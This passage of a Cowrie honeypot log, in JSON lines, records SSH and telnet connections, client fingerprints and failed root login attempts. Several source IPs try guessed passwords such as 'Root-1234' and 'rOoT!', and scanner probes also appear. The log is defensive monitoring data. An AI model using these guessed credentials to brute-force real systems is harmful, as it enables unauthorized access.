sh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:28.655084Z","src_ip":"213.209.159.158","session":"1f55d7146df1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44246,"dst_ip":"10.17.0.5","dst_port":23,"session":"b57fc9c9a18d","protocol":"telnet","message":"New connection: 152.42.224.71:44246 (10.17.0.5:23) [session: b57fc9c9a18d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:33.586652Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123321","message":"login attempt [root/Root123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:38.417508Z","src_ip":"213.209.159.158","session":"1f55d7146df1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:41.513484Z","src_ip":"213.209.159.158","session":"1f55d7146df1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":40990,"dst_ip":"159.203.135.109","dst_port":22,"session":"a08811c74d16","protocol":"ssh","message":"New connection: 213.209.159.158:40990 (159.203.135.109:22) [session: a08811c74d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:41.600317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:43.664234Z","src_ip":"213.209.159.158","session":"a08811c74d16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:43.667714Z","src_ip":"213.209.159.158","session":"a08811c74d16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root-1234","message":"login attempt [root/Root-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:53.174008Z","src_ip":"213.209.159.158","session":"a08811c74d16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56130,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9d22064ae70","protocol":"telnet","message":"New connection: 152.42.224.71:56130 (10.17.0.5:23) [session: d9d22064ae70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:53.895302Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56124,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e4029de02e4","protocol":"telnet","message":"New connection: 152.42.224.71:56124 (10.17.0.5:23) [session: 9e4029de02e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:54.564851Z"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:56.422711Z","src_ip":"213.209.159.158","session":"a08811c74d16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":62950,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccef894f32cf","protocol":"ssh","message":"New connection: 213.209.159.158:62950 (159.203.135.109:22) [session: ccef894f32cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:56.516795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:59.004126Z","src_ip":"213.209.159.158","session":"ccef894f32cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:02:59.007997Z","src_ip":"213.209.159.158","session":"ccef894f32cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.316654205322266,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:07.903217Z","src_ip":"152.42.224.71","session":"b57fc9c9a18d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"rooT!","message":"login attempt [root/rooT!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:08.107623Z","src_ip":"213.209.159.158","session":"ccef894f32cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.70","src_port":58924,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f1c88efa9a2","protocol":"ssh","message":"New connection: 205.210.31.70:58924 (10.17.0.5:22) [session: 6f1c88efa9a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:10.945690Z"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:11.716694Z","src_ip":"213.209.159.158","session":"ccef894f32cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":6652,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5ade5c4c62e","protocol":"ssh","message":"New connection: 213.209.159.158:6652 (159.203.135.109:22) [session: e5ade5c4c62e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:11.796110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:11.921875Z","src_ip":"205.210.31.70","session":"6f1c88efa9a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:13.060043Z","src_ip":"205.210.31.70","session":"6f1c88efa9a2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:15.627742Z","src_ip":"213.209.159.158","session":"e5ade5c4c62e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:15.631778Z","src_ip":"213.209.159.158","session":"e5ade5c4c62e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:21.110986Z","src_ip":"205.210.31.70","session":"6f1c88efa9a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"[gold]","message":"login attempt [root/[gold]] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:24.525118Z","src_ip":"213.209.159.158","session":"e5ade5c4c62e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:27.805738Z","src_ip":"213.209.159.158","session":"e5ade5c4c62e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":19058,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c8b3274065b","protocol":"ssh","message":"New connection: 213.209.159.158:19058 (159.203.135.109:22) [session: 8c8b3274065b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:27.892572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:30.043787Z","src_ip":"213.209.159.158","session":"8c8b3274065b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:30.048990Z","src_ip":"213.209.159.158","session":"8c8b3274065b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.88275361061096,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:34.777968Z","src_ip":"152.42.224.71","session":"d9d22064ae70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.60760998725891,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:38.172327Z","src_ip":"152.42.224.71","session":"9e4029de02e4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root-123","message":"login attempt [root/Root-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:39.609908Z","src_ip":"213.209.159.158","session":"8c8b3274065b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:42.768688Z","src_ip":"213.209.159.158","session":"8c8b3274065b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":52180,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e177813faf5","protocol":"ssh","message":"New connection: 213.209.159.158:52180 (159.203.135.109:22) [session: 5e177813faf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:42.847072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:44.994219Z","src_ip":"213.209.159.158","session":"5e177813faf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:45.396212Z","src_ip":"213.209.159.158","session":"5e177813faf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56904,"dst_ip":"159.203.135.109","dst_port":22,"session":"e58f608a7014","protocol":"ssh","message":"New connection: 167.172.81.52:56904 (159.203.135.109:22) [session: e58f608a7014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:47.641647Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:47.646976Z","src_ip":"167.172.81.52","session":"e58f608a7014","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:47.651199Z","src_ip":"167.172.81.52","session":"e58f608a7014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rOoT!","message":"login attempt [root/rOoT!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:52.369454Z","src_ip":"213.209.159.158","session":"5e177813faf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53876,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e7e90e55498","protocol":"telnet","message":"New connection: 152.42.224.71:53876 (10.17.0.5:23) [session: 2e7e90e55498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:52.852631Z"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:55.501911Z","src_ip":"213.209.159.158","session":"5e177813faf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":50078,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf3afbae2468","protocol":"ssh","message":"New connection: 213.209.159.158:50078 (159.203.135.109:22) [session: cf3afbae2468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:55.581818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:57.579646Z","src_ip":"213.209.159.158","session":"cf3afbae2468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:03:57.583657Z","src_ip":"213.209.159.158","session":"cf3afbae2468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root003","message":"login attempt [root/root003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:07.189426Z","src_ip":"213.209.159.158","session":"cf3afbae2468","protocol":"ssh"}
